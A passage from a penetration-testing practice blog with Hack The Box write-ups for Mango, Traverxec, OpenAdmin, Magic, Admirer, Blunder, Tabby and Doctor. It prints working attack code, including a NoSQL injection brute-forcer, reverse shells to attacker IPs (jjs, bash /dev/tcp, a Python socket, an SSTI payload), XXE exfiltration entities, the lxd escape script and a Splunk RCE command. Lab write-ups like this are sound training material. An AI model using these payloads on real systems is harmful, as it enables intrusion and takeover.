#                 if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
#                     post_data_1 = f"username[$regex]=^{list_username[i]+c}.*&password[$ne]=1&login=login"
#                     response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
#                     print(post_data_1)
#                     print(c, response.status_code)
#                     if response.status_code == 302:
#                         list_username[i] = list_username[i]+c
#                         flag = True
#
#         print(list_username)
#
#     elif flag == False:
#         print("result:",list_username)
#         break
#         # exit()
#
#
#     else:
#         for c in string.printable:
#             if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
#                 post_data_1 = f"username[$regex]=^{c}.*&password[$ne]=1&login=login"
#                 # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
#                 response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)
#                 print(post_data_1)
#                 print(c,response.status_code)
#                 if response.status_code == 302:
#                     list_username.append(c)
#
#         print(list_username)

print_list = []
# The two approaches do not conflict; uncommenting the code above still works
list_username = ['admin', 'mango']  # Enter usernames here, or comment out this line to use the results above
# Password
for user in list_username:
    flag = True
    list_password = ''
    while True:
        if list_password != [] and len(list_password) >= 1 and flag:
            flag = False
            # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
            for c in string.printable:
                if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
                    post_data_1 = f"username={user}&password[$regex]=^{list_password + c}.*&login=login"
                    response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
                    print(post_data_1)
                    print(c, response.status_code)
                    if response.status_code == 302:
                        list_password += c
                        flag = True
                        break

            print(list_password)

        elif flag == False:
            print("result:", list_password)
            print_list.append(list_password)
            break
            # exit()

        else:
            for c in string.printable:
                if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
                    post_data_1 = f"username={user}&password[$regex]=^{c}.*&login=login"
                    # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
                    response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
                    print(post_data_1)
                    print(c, response.status_code)
                    if response.status_code == 302:
                        list_password += c
                        break

            print(list_password)

print(print_list)

It was indeed a little slow. I hadn’t considered multithreading. The script probably still needed optimization, but those details weren’t important here.

username

I hadn’t deduplicated the results, but the password came out. It had the same length I measured manually: 16 characters.

Credential reuse worked for mango, and I logged in over SSH.

Time for privilege escalation.

Most likely I needed to move laterally to admin and then run this to escalate to root.

The script provided that hint as well, but we weren’t admin.

Using su with the password from earlier got me in. SSH was probably disabled in sshconfig.

This was a classic reverse-shell script: start a ProcessBuilder thread, connect back with a Socket, define input streams, and use an infinite loop to send commands and return their output.

The problem was that I had never used jjs. I Googled how to exploit it.

What I learned was that it can execute Java code directly.

Java.type(‘java.lang.Runtime’).getRuntime().exec(’/bin/sh -i >& /dev/tcp/10.10.16.13/9999 0>&1’)

The process started but reported no input, and I received no shell. The examples below came with it; the versions with modified arguments were my own tests, but none of them returned a shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -i >& /dev/tcp/10.10.16.13/9999')

var host= "10.10.16.13";
var port= "9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

var Socket = Java.type("java.net.Socket");
var s=new Socket("10.10.16.13","9999");
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

There really was a jjs privilege-escalation technique. Modify the payload:

1
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

Just run it.

Done. This box held me up for a long time, mainly because my script was extremely slow. Network speed may have made the brute-forcing slow, or the script may simply have been poorly written. Either way, that part took me ages. This was also apparently my second encounter with NoSQL injection; I hadn’t paid much attention the first time.

The final point was this Java technique. I didn’t know about jjs at first and only then learned it could invoke Java code, so I kept trying to construct something myself. The history did contain some examples. Although its script looked fine, reality showed that the shell simply wouldn’t connect back.

I asked GPT, and there really was a problem with it.

20.Traverxec

Information gathering:

Accessing this machine was extremely laggy. I don’t know whether the cause was my computer or the target.

I’ll jump straight to the result.

There was nothing on port 22.

WhatWeb found a fingerprint on port 80, and searching for it led directly to an exploit.

Running it gave a shell immediately.

Time for privilege escalation.

LinEnum helped us find a hash. CMD5 required payment, so I cracked it myself.

david/Nowonly4me

I tried connecting over SSH, but couldn’t log in at all. Even su failed.

I even searched for whether there were other forms of su.

I began researching the website and found that it seemed to be running as root.

But it was only a purely front-end page, so there was nothing I could do.

That wasn’t actually how it worked. It granted execute permission, but only root could modify the file. Execution still happened as the current user.

By this point, I had tried every conventional technique I could think of. The solution was probably unconventional.

The unconventional paths I had identified were as follows:

David’s home directory couldn’t be listed, but files in it could be executed. If we could identify any privilege-escalation files in David’s home directory, knowing their names would be enough.

There was another lead. I found a configuration file under the directory containing the password file, and that password-file directory was itself the website directory.

We had already checked the first item, and I had mapped the IP in hosts.

The second mentioned the user. That was fine; the process was indeed running as www-data.

The third only mentioned that the password was easy to crack and suggested credential reuse. It didn’t seem to offer much else.

The fourth mentioned a public public directory under home. We had actually found david and public_www under the home directory, but hadn’t located the latter.

Most importantly, we could execute things under the david directory but couldn’t list it. Only David’s home directory itself was inaccessible; child directories and files beneath it could still be accessed, as shown below.

So there were currently two paths in front of us.

The first was to brute-force David’s home directory.

The second was to locate public_www.

I searched for public_www for a long time without success, but later made an important discovery.

It was hidden under the david directory. Digging through it revealed a backup SSH key.

Transfer it to Kali.

The password is shown below.

Login succeeded.

I went through some files and found an interesting one.

Whenever I tried privilege escalation with sudo, it required a password, so it was strange that this command didn’t.

Further testing showed that only the exact command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

could be run with sudo without a password. Changing even one character or argument, or appending anything, failed. The only apparent option was concatenating with |, &, ;, and so on, but after concatenation the extra command obviously no longer ran with the original privileges.

The path was also hard-coded. If it hadn’t been, the file could have been replaced to escalate privileges.

https://www.linuxcool.com/journalctl

This page explains the journalctl options: -n specifies the number of lines, while -u specifies the service.

I couldn’t figure out how these two facts were related at all.

I tried many methods afterward but never solved it. This time I read a write-up, which explained that journalctl was configured to output 5 lines. Once those lines were printed, there was no opportunity to enter a command. However, its output depends on the current window size, so all I needed to do was shrink the window.

Done. This box really tested search skills. One part was finding the configuration file, which I never found through searching and ultimately had to guess.

The other was researching the journalctl options, which I did find. But the key was shrinking the current terminal window so it remained inside the pager interface. I didn’t find that step through searching. I’m not sure whether this is the kind of knowledge accumulated over time or another test of search skills.

21.OpenAdmin

Information gathering:

Getting a foothold was easier than I expected.

http://10.10.10.171/music/

This page lets you log in or create an account.

Clicking login redirects to http://10.10.10.171/ona/.

There is a download link at the top.

That revealed the framework and its version.

Reading it showed that a url was missing.

Just add the url to the parameters.

1
2
3
4
5
6
7
#!/bin/bash

URL="http://10.10.10.171/ona/"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

It then sends requests in an infinite loop, with each request containing the command you want to execute. It is essentially an interactive shell.

Here I chose to get a reverse shell.

I tried a bunch of things and am not sure which one worked, but the shell came back. As I understood it, the main point of this step was that a reverse shell could give me a tty.

The reverse shell could not create a tty either, which was strange.

Maybe I used the wrong method. I left it alone for the moment and checked the configuration files first.

I did not find anything, but one detail was very strange.

This was the current directory. Its parent was not the default index.html page I had seen, but the framework’s configuration directory. www happened to be its web root, which meant that:

Its apache configuration had to contain indexes for ona and artwork. I first tried to find the apache configuration.

However, find did not locate it.

So I searched for artwork instead. That found the directory, and everything became clear.

There was nothing that offered a privilege boundary bypass; everything belonged to www-data. There were several more directories containing applications, however, and two of them had .DS_Store files.

https://github.com/gehaxelt/Python-dsstore

Parsing them did not reveal any special directories either. They were probably included with the project.

I uploaded LinEnum, but it did not find anything special.

/usr/bin/python3 -c ‘import pty; pty.spawn("/bin/bash")’

It did at least show me where python3 was, and I obtained a tty.

I eventually ran out of leads, so I went back and reviewed the website several times. From its php files and related material, I was certain it connected to a database.

I started digging through the directories and eventually reached /opt/ona/www/local/config.

There I found a password.

n1nj4W4rri0R!

The path forward was becoming clear again. I first tried it against the users under home.

If that failed, local port 3306 was open—I had seen it while inspecting processes—so I could connect directly and look for other passwords.

In the end, I successfully logged in as jimmy.

As always, the first thing to check was sudo.

I could not use it, so my second move was to go straight to the directory I had found earlier.

I had not had permission to enter it before.

main.php showed that it directly ran cat /home/joanna/.ssh/id_rsa.

But when I tried it, I did not have permission.

I found a password in index.php.

It still wanted payment.

Also, this password’s sha1 did not match that of n1nj4W4rri0R!.

Found it.

su failed, so I kept reading the source to see what was happening.

It was simple: a successful login created a session and redirected to main.php.

main.php executed a command to read /home/joanna/.ssh/id_rsa.

There was no point in starting this php file or moving it into the web directory, because the command would run with jimmy’s privileges. Running it manually did nothing for me, and putting it in the web directory would not help either, as shown below.

All I knew at this point was that joanna had a private key.

After working on this for a while, I seemed to have exhausted every idea. Then something occurred to me.

The current file was owned by jimmy, but that did not mean the service that launched it also ran as jimmy.

In pspy32 I had only seen many apache2 processes with their pids, but no users were shown, so I started checking.

I had assumed that www-data with uid33 was the only user running apache2, but:

root had started one as well.

There was an unfamiliar port that nmap had not reported. It was most likely local-only.

That produced a result: something really was there. Even when using pspy32, I need to remember to investigate manually.

curl kept failing, so I set up a tunnel.

ssh -L 8888:localhost:52846 [email protected]

I got access, but then had an idea: if this site was running as root, would writing a shell into it not give me root privileges?

My understanding was wrong. The resulting account was still joanna.

Still, I had finally escalated to another user.

sudo -l -s still did not work. I did not know the password, but first I needed sudo to work at all, because I truly had no other ideas.

The login succeeded. Sure enough, after logging in I could run sudo -l.

Done. This box broadened my thinking a little, although the overall process was still similar to the earlier ones. The main lesson was to observe carefully, and most of the work centered on privilege escalation. It took two hours. The only thing I could not understand was why a shell launched through something running as root landed as joanna.

I started reading the write-up.

First point:

curl can access main.php directly, but when I read the code it appeared to validate a session first, so that seemed impossible. The image below shows my test: accessing main redirected back to the home page, exactly as the source suggested.

It did not work through the web page, but surprisingly it did work locally.

I had only used curl against index.php to send the login request. I missed this detail.

Second point:

This was the reason. The web service was launched under joanna’s identity, so even though root started it, its user identity remained joanna. The configuration file was under /etc/apache2/sites-enabled.

Third point:

The first time through, I had not found jimmy’s password—the database password—because I had not inspected that file carefully enough.

It was visible in the process list, though. There was a scheduled task, which I only noticed later.

22.Magic

Information gathering:

I’ll jump straight to the conclusion: getting a shell wasn’t too difficult.

The login endpoint was vulnerable to sql injection. Blind injection did not work for me, but I could still enter the admin panel.

It did not redirect automatically, so I thought I would have to inject manually.

However, the Location header indicated a redirect to upload.php.

The session had already been written to the database, so visiting it directly did not produce a permissions error. I only needed to log in with a universal password.

The upload page used a whitelist, so I will again skip to the conclusion: I needed to bypass it. upload_labs includes a %20 truncation technique. I tried it and it worked, as follows.

Visiting the uploaded file successfully returned a shell.

I began privilege-escalation reconnaissance.

That explained why sleep had not worked.

I had looked through nearly everything, including the Theseus user’s directory. The only remaining lead was a mysql service.

The database credentials I had obtained did not let me su to the target user; it reported an incorrect password.

ssh also said that only a private key could be used. I’ll jump straight to the result here.

I had checked everything else except mysql, and mysql was not available directly on the target, so I had to forward the port.

I used frp here.

frps -c frps.ini

1
2
[common]
bind_port = 7000

frpc -c frpc.ini

1
2
3
4
5
6
7
8
9
[common]
server_addr = 10.10.16.3
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 6000

Just start it up.

1
mysql -u theseus -P 6000 -p -h localhost Magic

The connection succeeded.

I found a password.

I successfully switched to theseus.

I continued gathering information, but found nothing useful. I checked every suid binary.

Then I found something interesting. My current user was also in the users group, which matched this exactly.

I went through everything and only learned that this was specifically intended for the users group. I did not know how to use it.

I eventually ran out of ideas and only learned from the write-up that this could be exploited. It was quite complicated for me.

Once I knew the entry point, I started working through it. The commands it invoked had no restrictions, and it executed both of them as root.

In other words, the first command found through the environment’s search path would be executed by root.

The search order above eventually reached /sbin, where fdisk lived, but none of the earlier directories were writable.

I could still use export to set a temporary environment variable. After reading about it, I ran:

export PATH=/tmp:$PATH

This made it search the tmp directory first.

I wrote the reverse-shell command into fdisk.

echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.3/6666 <&1’” /tmp/fdisk

The connection came back successfully. That was the end.

This unconventional privilege escalation was a little difficult. The box focused heavily on escalation, and I genuinely did not expect the path from theseus to root to be hidden here. Still, this is a standard oscp box, so I clearly need to broaden my thinking. There are many suid files, and the hints were the current user’s users group and the root-owned file with an s bit.

They matched perfectly. The hint was buried rather deeply. I had also never considered that a command might invoke system commands without absolute paths and instead rely on the environment’s search path. That was hidden very well.

23.Admirer

Information gathering:

I will give the result directly. ftp did not allow anonymous login, but directory brute-forcing revealed the ftp password. After logging in over ftp, I found two files.

Extracting them revealed an important file.

http://10.10.10.187/utility-scripts/admin_tasks.php

Its main behavior was to execute shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1") when task was between 1-7.

So I only needed to submit a number and append a command after it, mainly by bypassing the 1-7 if condition.

But php weak typing could not bypass it at all.

There was simply no vulnerability at this point. I had brute-forced nearly every directory I found.

In the end I found no way forward, so I checked the next step in a write-up and discovered another file named adminer.php. Its name differed from the box name by only one character, but I had not found it. The write-up’s next step supposedly followed from a hint, yet I had not noticed any hint at all.

I now had a new entry point: adminer.php.

I tried connecting with the credentials I had obtained earlier, but it did not work at all. This held me up for a very long time. I never expected to get stuck here for so long. Eventually I had no other choice and glanced at a write-up.

Its hint said that since there was no way to connect to this mysql instance, another approach was needed:

https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

The idea was that CVE-2021-43008 reads files locally from Adminer’s host. We only needed to log in and connect it to a backend database; it did not matter whose database it was.

That gave me another entry point, and this time everything went smoothly.

I started mysql on kali. These are the posts I used as references:

https://www.cnblogs.com/dll102/p/16008382.html

https://blog.csdn.net/lxyoucan/article/details/131282508

After completing those steps, the remote server could connect. This was the most important part.

That let me get in. I then followed the post below to exploit the arbitrary file-read vulnerability.

https://podalirius.net/en/cves/2021-43008/

One detail matters here: files such as /etc/passwd could not be read. I later guessed the /var/www/html directory and could read its contents, but utility-scripts/db_admin.php did not exist, so I could not extract database passwords or similar information. Eventually I discovered that /var/www/html/index.php still contained a password.

The connection had failed because the password was different.

I actually tried many things at this stage, including reading passwd and waldo’s private key, but none helped. Only then did I find this.

The password worked for ssh, giving me a foothold. Once connected, I had a password, so my first command was sudo -l.

There was something useful. Here was my reasoning.

I did not have permission to modify it.

All the parameters explicitly named their files, so changing environment variables could not bypass anything. Even /usr/bin/mysqldump lacked write permission.

That made backup.py very suspicious.

I only had read permission.

The path was now fairly obvious: create a fake shutil.py file. The program would import shutil.py automatically when it started, and top-level code in that module would run as well, so I only needed to add a shell.

The plan was therefore to hijack a python library. There are two extremely common methods. The first is to place shutil.py beside backup.py, since it will prefer the library in the current directory.

But I did not have write permission there.

The second is to modify shutil.py in the installed library directly, but I did not have permission for that either.

Neither worked. After searching google, I found two more approaches. One was to add an environment variable in the current terminal.

export PYTHONPATH=/tmp/ But that still did not work for me.

The second was to pass the environment variable through sudo.

echo ‘import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((“10.10.16.21”,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(“sh”)’ > shutil.py

Writing the file this way did not preserve the escapes, so I transferred it from kali instead. Then I only needed to construct the final command.

wget http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6

That was the end.

In my view, this box fits oscp very well. Precisely because it does, many parts were unusually complex.

First, I never thought of looking for adminer.php. Second, I could not find anything about this Adminer behavior. The first tested my methodology, while the second tested my search skills—essentially my ability to choose effective Google search terms.

Then came privilege escalation. That part was comparatively simple, but I wasted a lot of time on the python import behavior. The first three methods never worked. I finally learned that placing an environment variable after sudo passes it directly to the command following sudo. Simply running export PYTHONPATH=/home/waldo left the later command unable to see it. sudo -E might also have carried the variable across, but in practice it did not. I wasted a lot of time here too.

24.Blunder

Information gathering:

I’ll jump straight to the result. The initial reconnaissance may have involved a port-knocking sequence to open a port, so I made a note of that and moved on. The website’s information revealed the framework.

BLUDIT v3.9.2

I could simply find an exp and run it. Searching kali for exploits matching this version only returned a user-brute-forcing script.

The username had been revealed as well.

Everything pointed toward brute force: I had a username and a version number, and this user-brute-forcing script only applied to version 3.9.2 and earlier.

I used cewl to crawl the home page and generate a wordlist.

Then I just ran the script.

I now had credentials, but kali did not include an rce script. I found a suitable script through google.

Introduction: https://www.anquanke.com/post/id/197105

Script: https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py

It could be used directly, although it might need a small change to avoid a problem.

The main problem was here. The error message led me to the cause.

The URL must not end in /, or it errors out.

I obtained a shell.

I started privilege escalation by checking the configuration files.

I found a pile of db.php files, but they contained nothing. I then reached user.php under databases, which held usernames and passwords.

The first password was salted. The account was admin, and john could brute-force it.

But the second one, from version 3.10, had a user named hugo.

There also happened to be a hugo home directory.

hugo:Password120 I could simply run su hugo.

That switched me directly to shaun.

LinEnum provided an exploitation lead. I had actually noticed this while running as www-data: the user belonged to an unusually large number of groups, so it was worth looking for group-accessible programs that might be exploitable.

However, there were no exploitable executables for those groups. I kept looking for a path forward but could not find one.

I had found the version and tried exploiting vulnerabilities that affected it.

Eventually I found this: https://www.exploit-db.com/exploits/47502

Coincidentally, its exploitation requirements exactly matched what sudo -l showed for hugo.

Running sudo -u#-1 /bin/bash successfully escalated privileges.

This box was relatively simple. I did not encounter any new services, programs, or similar components.

It was a conventional box where the main requirement was methodology. I can only keep refining that methodology: every program may have vulnerabilities and needs to be checked individually.

25.Tabby

Information gathering:

There was no udp service.

I will give the conclusion directly.

There was an arbitrary file read. PHP wrappers did not seem to work, so I could not read the source of index.php or news.php.

I found nothing else afterward. The web root was still /var/www/html/index.php.

At this point the path was obvious: find tomcat-users.xml and log in with it.

I tried many directories without success and gathered many wordlists. Only at the end did I find this path.

https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379

This Q&A mentioned usr/share/tomcat9/etc/tomcat-users.xml.

After collecting this information, I sent the request to Burp Suite and eventually got the result. One thing worth noting is that the XML will not render in the HTML page; you have to press F12 and inspect the source.

view-source:http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

1
2
3
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

I could not log in to manage, only to http://megahosting.htb:8080/host-manager/html.

https://cloud.tencent.com/developer/article/1578239 https://blog.csdn.net/weixin_41924764/article/details/108196725 These two posts were excellent and addressed this exact situation.

However, I tried a great many times and consulted several posts. It appeared that I had to define my domain on this site before I could use it; otherwise it would not work. I had to find another method. Searching by the role name led me to two tutorials.

I searched google for Apache Tomcat manager-script exploit.

https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c

https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00

Both described the same vulnerability. I had assumed the war file could be built in the same way as one uploaded through the tomcat manager page, so I kept trying my own packages. Both tutorials instead used msfvenom to generate a war backdoor. Generally, oscp allows msf once, but the msfvenon used to generate a backdoor is not limited because it only generates the backdoor; only msfconsole is limited to one use.

The files I built myself never worked.

1
2
3
4
msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19  LPORT=9999 -f war -o pwn.war
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file pwn.war "http://megahosting.htb:8080/manager/text/deploy?path=/foo&update=true"
curl http://megahosting.htb:8080/foo
nc -lvnp 9999

That immediately returned a shell.

I prepared for privilege escalation.

sudo -l, s, and suid all revealed nothing.

My first step was to inspect the www directory. new.php only provided arbitrary file read, not file inclusion.

But the file directory was owned by ash.

I transferred it to kali with nc and extracted it.

It required a password. The recovered password was admin@it.

I spent a long time examining the extracted files afterward, but found nothing. The only possible angle, as I understood it, was that the fgets function might allow file inclusion, but that was actually impossible.

I later wondered whether it might be ash’s password. I tried su, and it really was.

I continued with privilege escalation. I tried many things; sudo was unavailable, and pspy32 showed this:

That was not useful either. Then I wondered whether the site on port 80 ran as root. If I wrote a php file into the files directory owned by ash,

could I escalate directly to root? In practice, files was not writable. Even chmod +w failed; its permissions were locked to read-only.

I also checked the sudo version.

For each of these groups, I used find to look for executables or other files belonging to the group.

There were none. Finally, I uploaded LinEnum.

It mentioned this. I did not know what lxd was, so I searched for it.

I found many exploits. The posts explained that membership in the lxd or lxc group could be used to become root.

kali also had a payload for it.

I tried following this payload, but it kept failing. Eventually, the first article in my google results solved it.

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

After uploading it, execution kept failing. First I had to edit the exp because it did not define paths for lxc and lxd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  /snap/bin/lxc image import $filename --alias alpine && /snap/bin/lxd init --auto
  echo -e "[*] Listing images...\n" && /snap/bin/lxc image list
  /snap/bin/lxc init alpine privesc -c security.privileged=true
  /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  /snap/bin/lxc start privesc
  /snap/bin/lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  /snap/bin/lxc stop privesc && /snap/bin/lxc delete privesc && /snap/bin/lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

I then followed the tutorial above to generate alpine-v3.8-i686-20241027_1315.tar.gz.

Next I transferred both files to the target and ran:

./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz

That successfully escalated privileges. I was stuck here for a very long time.

Half the problem was that generating alpine-v3.13-x86_64-20210218_0139.tar.gz kept failing.

The other half was that even after the privilege escalation succeeded, commands such as cat failed and the session crashed immediately. There was nothing I could do except keep resetting the machine and repeating every command to reach this point.

The 46978.sh file itself was easy to fix: it simply could not locate lxc and lxd, so I added their absolute paths.

I only later realized that my procedure was wrong. As 46978.sh explained, I only needed to enter /mnt/root to access every file.

Done.

This still counted as conventional privilege escalation. I had not seen tomcat’s manager-host before, nor had I used lxd, but neither technique was unexpected. Usually you find an exp, understand it, and run it.

Using it for the first time simply wasted a great deal of time. I need to improve my search skills and read payloads more carefully.

26.Doctor

Information gathering:

The web page revealed a domain, which I added to hosts.

Visiting the domain again produced this page.

Registering an account gave me direct access.

Both the source and the directory brute-forcing tool pointed to /archive.

At first, however, it was empty.

Interestingly, new message could be used to create a blog post.

http://doctors.htb/post/1

This showed what the 1 represented. The endpoint did not have sql injection or anything similar.

After I created a new message,

http://doctors.htb/archive

showed the item I had created. I made a major mistake here: I assumed it was XXE and spent a long time testing it. There was no response content. The following methods consistently failed, although the server did make the requests.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
</title></item><!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data><item><title>

</title></item><!--?xml version="1.0" ?-->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.19:5000/evil.dtd?x=%file;'>">
%eval;
%exfiltrate;
<item><title>

It simply seemed unable to read files.

But it could make requests.

This was a wrong turn. I tried a great many payloads without success. After a lot of searching, I noticed that nearly every result covered XXE in php or java, with nothing about exploiting this issue in python.

I had actually run whatweb when I first encountered the site.

It did not seem to reveal anything.

Later searches showed that when python is used as the backend with flask, it may be vulnerable to ssti template injection. It suddenly clicked that a python backend could indeed have this vulnerability.

I first tested whether it was present.

After creating the item, I visited:

view-source:http://doctors.htb/archive

It worked, so I prepared an exp.

https://payatu.com/blog/server-side-template-injectionssti/

The exp in this post worked. I only needed to construct the payload and submit it.

1
{{request.application.__globals__.__builtins__.__import__('os').popen("bash -c 'exec bash -i >& /dev/tcp/10.10.16.19/6666 <&1'").read()}}

I obtained a shell.

I started privilege escalation.

The admin user was immediately visible.

I had not created this user. sudo -l required a password, so my current plan was to crack this and then inspect sudo -l.

$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

I identified the algorithm as bcrypt and could run it through john.

In practice, finishing this run did not help. It could not crack the hash at all, and bcrypt was extremely resource-intensive and slow.

This route was a dead end, so I tried other escalation paths.

Neither suid nor sudo revealed anything. There was another user named shaun under home.

Then I noticed one more user whose home directory was /opt/splunkforwarder. It contained a readme and a version number.

A google search showed that this program listens on port 8089. nmap had found that port earlier, but my testing had produced nothing, so I ignored it. Perhaps the intended hint was to escalate into splunk.

I found no exp for this version, but the site below said that simply logging in appeared sufficient to get a shell.

https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd

I started looking for configuration files.

https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862

I could not read it. I kept investigating this service but found no way to compromise it, and it ran as root.

I uploaded linenum for another look, but it found nothing.

Then I inspected my groups and discovered that I could read many logs.

find / -group adm 2>/dev/null -not -path “/proc/*” 2>/dev/null

I had an idea. Someone had to log in to either the port 80 site or the port 8089 service. If I could not access the 8089 service because I lacked its path and credentials, searching all configuration files might reveal passwords for the sites on 80 and 8089 and let me proceed.

I did not find anything for 8089, but I did find a password.

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] “POST /reset_password?email=Guitar123” 500 453 “http://doctor.htb/reset_password”

I started trying Guitar123 with su.

That successfully escalated me to shaun.

Everything pointed to splunkd on port 8089.

My first thought was to create a local tunnel, but I could not access it locally either.

It listened on 0.0.0.0, so this was not a local-only service. Yet I still could not access it locally.

Only later did I realize that I had been using http the entire time.

I accessed it successfully.

Only services and serviceNS were accessible, and they required a username and password. We happened to have shaun’s credentials.

Although we could not read this service’s passwd file or list its users, my earlier searches suggested that splunkd may use local /etc/passwd accounts to create users for login.

I got in successfully.

There are many tutorials on getting a shell online, and they also mention that this app often runs as root.

But every tutorial used a graphical interface to upload apps, then used the uploaded content to get a shell.

There was no graphical interface here for me to click through, so I had to find an absolute path. One post said that extracting an app locally had the same effect as uploading it through the GUI.

I did not have write permission, however. My current options were to find the app-upload endpoint or continue escalating locally into splunk.

Neither worked, so I started looking for a poc.

https://github.com/cnotin/SplunkWhisperer2

Whenever I find an exp but do not know how to use it, I search for the project name to understand how it works.

https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/

That explanation was not useful, so I constructed the poc from the parameters in the code.

https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py

I used the local privilege-escalation script and tested it first.

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload ‘id > /tmp/1.txt’

It really worked: the created file genuinely belonged to root.

My later attempts with su and other commands had problems. Looking at the code, it appeared unable to remain running in the current context, so I tried a reverse shell.

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload “bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/1234 <&1’”

Done. I spent a great deal of time on this box. I took the wrong approach to the foothold and investigated XXE before finally recognizing SSTI. The web-based escalation to shaun was not difficult, but I lacked the idea at first and wasted a lot of time, including trying to crack the hash from the db. Only at the end did I inspect the adm group. I think the overall process was sound; it was simply far too slow.

Escalating to root was next. I studied this service and read many posts before finding the exploit. The exploitation itself was easy, but reading all that code felt time-consuming. It did work in the end, so this was still a conventional process. I was simply too slow, and perhaps I also need to improve how I search google. The takeaway from this box is that I need to practice more boxes and improve my methodology.

27.SneakyMailer

Information gathering:

http://sneakycorp.htb/index.php

This site revealed one useful detail.

Someone named Bradley Greer was a tester.

The boss was named Cara Stevens.

